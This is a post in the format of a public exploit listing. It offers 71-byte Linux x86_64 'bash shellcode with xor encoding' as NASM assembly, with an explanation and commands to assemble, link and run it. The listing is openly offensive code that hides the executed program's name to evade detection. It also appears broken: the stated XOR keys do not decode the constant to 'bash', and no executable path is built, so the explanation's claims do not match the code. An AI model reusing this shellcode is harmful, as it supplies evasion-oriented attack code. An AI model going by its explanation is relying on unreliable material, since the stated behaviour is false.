Linux/x86_64 Bash Shellcode

Exploit Title: Linux/x86_64 - bash shellcode with xor encodingDate: 05/02/2023Exploit Author: Jeenika AnadaniContact: https://twitter.com/cyber_jeeniCategory: ShellcodeArchitectue: Linux x86_64Shellcode Length: 71 Bytes-----------------------section .datasection .text  global _start_start:  ; set up argv and envp arrays for execve()  xor rax, rax  mov [rsp-8], rax  mov qword [rsp-16], 0x72613162 ; encrypted 'bash'  xor byte [rsp-16], 0x08  xor byte [rsp-15], 0x16  xor byte [rsp-14], 0x24  xor byte [rsp-13], 0x32  lea rdx, [rsp-16]  mov qword [rsp-24], rdx  mov qword [rsp-32], rdx  lea rdi, [rsp-32]  ; call execve()  xor eax, eax  mov al, 59  syscall  ; exit with status code 0  xor eax, eax  mov ebx, eax  mov al, 60  syscall-----------#### Explanation:This code uses XOR encryption to obscure the name of the program being executed, `"bash"`. The XOR encryption key is `0x08162432`, which is applied to each byte of the string. The decryption is performed just before calling `execve`, so the program name is passed in its original form.The rest of the code is the same as the previous example, making a system call to the `execve` function and then calling the `exit` syscall to terminate the process.---------### Compilation AND Execution:To run the x86_64 assembly code on a Linux system, you need to assemble it into an executable file and then run the file. Here are the steps:1.  Save the code to a file with a `.asm` extension, for example `bash.asm`.   2.  Assemble the code into an object file using an assembler, such as NASM:  `nasm -f elf64 -o bash.o bash.asm`The `-f elf64` option specifies that the output format should be ELF64 (Executable and Linkable Format), and the `-o` option specifies the name of the output file, `bash.o`.    3.  Link the object file to produce an executable file using the `ld` linker:  `ld -s -o bash bash.o`The `-s` option removes the symbol table from the output file to make it smaller, and the `-o` option specifies the name of the output file, `bash`.    4. Make the file executable:  `chmod +x bash`5. Finally, you can run the file:  `./bash`---------------------